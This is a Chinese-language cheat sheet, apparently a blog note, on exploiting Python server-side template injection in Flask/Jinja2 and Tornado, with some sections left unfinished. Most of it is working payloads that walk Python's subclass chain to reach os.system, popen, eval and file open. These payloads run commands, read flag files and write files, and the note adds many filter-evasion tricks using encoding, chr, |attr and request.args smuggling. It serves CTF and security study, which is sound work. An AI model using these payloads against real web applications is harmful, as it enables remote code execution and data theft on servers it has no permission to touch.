Python SSTI 总结笔记

Python SSTI 的总结笔记, 不定期更新

目前大都是基于 Flask 环境复现, 其它环境后续会填坑

文章里的所有 payload 都是自己手工复现过的

前言

大部分的 payload 入口点都是 os linecache file open __builtins__

不同环境的 payload 并不相同, 主要体现在 __subclasses__() 中显示的内容不同

因为 __subclasses__() 返回的是继承自 object 的子类, 子类的数量会随着当前命名空间下导入的包/模块的不同而变化

建议大家调试的时候, 使用原生的 python 命令行, 不要用 ipython, 然后根据题目需要 import 对应模块 (flask tornado django 等)

基本知识

学会自己查找利用点构造 payload

通过 object 查找所有子类

1
2
3
4
5
''.__class__.__mro__[-1].__subclasses__()
''.__class__.__base__.__base__.__subclasses__()
''.__class__.__bases__[0].__bases__[0].__subclasses__()

object.__subclasses__()

这里的 '' 可以替换成 () {} [], 但是继承链不一定一样, 需要改一下代码

格式化输出, 方面查看索引位置

1
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print(i)

获取某个子类所在命名空间的所有内容 (子类必须重载过 __init__)

1
2
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals

Python 2 两种方式都能用

Python 3 只能用 __globals__

查找对应模块

1
2
3
4
5
6
7
8
search = ['os', 'open', 'popen', 'linecache', '__builtins__']
for index, item in enumerate(''.__class__.__mro__[-1].__subclasses__()):
    for name in search:
        try:
            if name in item.__init__.__globals__:
                print(name, index, item)
        except:
            pass

有时候可能要递归查找, 这里留个坑, 遇到了再写…

Python 2

回显如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
('linecache', 59, <class 'warnings.WarningMessage'>)
('__builtins__', 59, <class 'warnings.WarningMessage'>)
('linecache', 60, <class 'warnings.catch_warnings'>)
('__builtins__', 60, <class 'warnings.catch_warnings'>)
('__builtins__', 61, <class '_weakrefset._IterationGuard'>)
('__builtins__', 62, <class '_weakrefset.WeakSet'>)
('os', 72, <class 'site._Printer'>)
('__builtins__', 72, <class 'site._Printer'>)
('os', 77, <class 'site.Quitter'>)
('__builtins__', 77, <class 'site.Quitter'>)
('open', 78, <class 'codecs.IncrementalEncoder'>)
('__builtins__', 78, <class 'codecs.IncrementalEncoder'>)
('open', 79, <class 'codecs.IncrementalDecoder'>)
('__builtins__', 79, <class 'codecs.IncrementalDecoder'>)

通过 os 和 linecache 包执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# os
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('whoami').read()

''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].__dict__['system']('whoami')
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].__dict__['popen']('whoami').read()

# linecache
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()

通过 __builtins__ 读写文件, 导入模块, 执行代码

1
2
3
4
5
6
7
8
9
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('D:/test.txt').read()
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('D:/test.txt').read()

''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('D:/a.txt','w').write('hello')
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('D:/a.txt','w').write('hello')

''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

 ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").system("whoami")')

另外, Python2 可以直接通过 __subclasses__() 下的 file 读写文件

1
''.__class__.__mro__[-1].__subclasses__()[40]('d:/test.txt').read()

Python 3

回显如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__builtins__ 100 <class '_frozen_importlib._ModuleLock'>
__builtins__ 101 <class '_frozen_importlib._DummyModuleLock'>
__builtins__ 102 <class '_frozen_importlib._ModuleLockManager'>
__builtins__ 103 <class '_frozen_importlib.ModuleSpec'>
__builtins__ 119 <class '_frozen_importlib_external.FileLoader'>
__builtins__ 120 <class '_frozen_importlib_external._NamespacePath'>
__builtins__ 121 <class '_frozen_importlib_external._NamespaceLoader'>
__builtins__ 123 <class '_frozen_importlib_external.FileFinder'>
open 125 <class 'codecs.IncrementalEncoder'>
__builtins__ 125 <class 'codecs.IncrementalEncoder'>
open 126 <class 'codecs.IncrementalDecoder'>
__builtins__ 126 <class 'codecs.IncrementalDecoder'>
open 127 <class 'codecs.StreamReaderWriter'>
__builtins__ 127 <class 'codecs.StreamReaderWriter'>
open 128 <class 'codecs.StreamRecoder'>
__builtins__ 128 <class 'codecs.StreamRecoder'>
open 143 <class 'os._wrap_close'>
popen 143 <class 'os._wrap_close'>
__builtins__ 143 <class 'os._wrap_close'>
open 144 <class 'os._AddedDllDirectory'>
popen 144 <class 'os._AddedDllDirectory'>
__builtins__ 144 <class 'os._AddedDllDirectory'>
__builtins__ 145 <class '_sitebuiltins.Quitter'>
__builtins__ 146 <class '_sitebuiltins._Printer'>
__builtins__ 148 <class 'types.DynamicClassAttribute'>
__builtins__ 149 <class 'types._GeneratorWrapper'>
__builtins__ 150 <class 'warnings.WarningMessage'>
__builtins__ 151 <class 'warnings.catch_warnings'>
__builtins__ 174 <class 'operator.attrgetter'>
__builtins__ 175 <class 'operator.itemgetter'>
__builtins__ 176 <class 'operator.methodcaller'>
__builtins__ 180 <class 'reprlib.Repr'>
__builtins__ 191 <class 'functools.partialmethod'>
__builtins__ 192 <class 'functools.singledispatchmethod'>
__builtins__ 193 <class 'functools.cached_property'>
__builtins__ 196 <class 'contextlib._GeneratorContextManagerBase'>
__builtins__ 197 <class 'contextlib._BaseExitStack'>

Python 3 的利用点主要在 __builtins__ 中 (通过 eval 导入模块), 方法同上

open 和 popen 也能利用

1
2
3
4
5
# open
''.__class__.__mro__[-1].__subclasses__()[125].__init__.__globals__['open']('d:/test.txt').read()

# popen
''.__class__.__mro__[-1].__subclasses__()[143].__init__.__globals__['popen']('whoami').read()

判断 Python 版本

1
''.__class__.__mro__[-1].__subclasses__()

Python 2 开头几行

1
2
3
4
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>
 ......
 <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>
 ......

Python 3 开头几行

1
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>...

对比一下

Python 2 存在 <type xxx><class xxx>, 而 Python 3 只有 <class xxx>

Python 3 有 async_generator, 虽然 asyncio 是 3.5 引入的, 不过也能作为一个判断依据

Python 3 有bytes_iterator, 因为 bytes 类型有改动, 与 Python 2 相差较大

框架

一些常用框架的 tricks

Flask

类: cycler joiner namespace config request session

函数: lipsum url_for get_flashed_messages

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
config
request.environ

request.__class__.__mro__[-1]
session.__class__.__mro__[-1]

get_flashed_messages.__globals__['current_app'].config
url_for.__globals__['current_app'].config

url_for.__globals__['__builtins__']
get_flashed_messages.__globals__['__builtins__']
lipsum.__globals__['__builtins__']

undefinded.__class__.__init__.__globals__['__builtins__']
undefinded.__init__.__globals__['__builtins__']

config.__class__.__init__.__globals__['os']['popen']('whoami').read()
1
2
3
4
5
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['po' + 'pen']('cat /this_is_the_f'+'lag.txt').read() }}
{%endif%}
{%endfor%}

Tornado

1
handler.settings

Django

留个坑

Bypass

拼接

通过 __dict__ 绕过

1
2
3
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['o'+'s'].__dict__['sys'+'tem']('whoami')

''.__class__.__mro__[-1].__subclasses__()[40]('fl'+'ag.txt').read()

flask 中还能直接通过以下方式拼接字符串, 不用 +

1
"fl""ag.txt"

编码

本质上还是对字符串进行操作, 可以配合 __dict__ 从而对函数名进行编码

base64

1
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['b3M='.decode('base64')].__dict__['c3lzdGVt'.decode('base64')]('d2hvYW1p'.decode('base64')) # os.system('whoami')

ASCII

flask 环境下 chr 需要在 __builtins__ 里面找

1
{% set chr=''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
1
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__[chr(111)+chr(115)].__dict__[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)) # os.system('whoami')

生成 chr payload

1
2
3
4
5
def toChr(s):
    l = []
    for i in s:
        l.append('chr(' + str(ord(i)) + ')')
    return '+'.join(l)

或者用另外一种方式

格式化字符串转换 ascii 码

1
'{:c}{:c}{:c}{:c}{:c}{:c}{:c}{:c}'.format(102,108,97,103,46,116,120,116)

十六进制

1
'68656c6c6f'.decode('hex') # hello

rot13

1
'uryyb'.decode('rot13') # hello

过滤 []

使用 __getitem__ 方法

1
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(72).__init__.__globals__.__getitem__('os').system('whoami')

使用 get(), 仅限 dict

1
''.__class__.__mro__.__getitem__(-1).__subclasses__().get(72).__init__.__globals__.get('os').system('whoami')

使用 pop(), 会删数据, 但对于这个表达式的 list 来说使用没有问题

1
().__class__.__base__.__subclasses__().pop(72).__init__.__globals__.get('os').system('whoami')

使用用 . 访问, 仅限 dict

1
2
3
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(72).__init__.__globals__.os.system('whoami')

''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(59).__init__.__globals__.linecache.os.popen('whoami').read()

Flask 环境下测试成功, 但在 python shell 中运行会报错

过滤 {{}}

使用{% %}

1
2
3
{%if ''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('whoami').read() == 'root' %}
1
{% endif %}

{% %} 中语句的输出内容无法回显, 只能盲注或者用 dnslog 回显

过滤引号

chr, 上面提到过

1
2
# flask environment
{% set chr=().__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
1
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__[chr(111)+chr(115)].__dict__[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)) # os.system('whoami')

还可以通过 request 对象逃逸

1
().__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__[request.args.os].popen(request.args.cmd).read()

get 传入 os=os&cmd=whoami 即可

过滤下划线

利用 request + [] 绕过

1
{{ ''[request.args.class][request.args.mro][-1][request.args.subclasses]()[40]('d:/test.txt').read() }}

get 传入 class=__class__&mro=__mro__&subclasses=__subclasses__

利用 |attr 绕过

1
{{ (()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()).pop(40)('d:/test.txt').read() }}

get 传入 class=__class__&base=__base__&subclasses=__subclasses__

过滤 .

利用 [] 绕过

1
{{ ''['__class__']['__mro__'][-1]['__subclasses__']()[72]['__init__']['__globals__']['os']['popen']('whoami')['read']() }}

利用 |attr 绕过

1
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(59)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
0%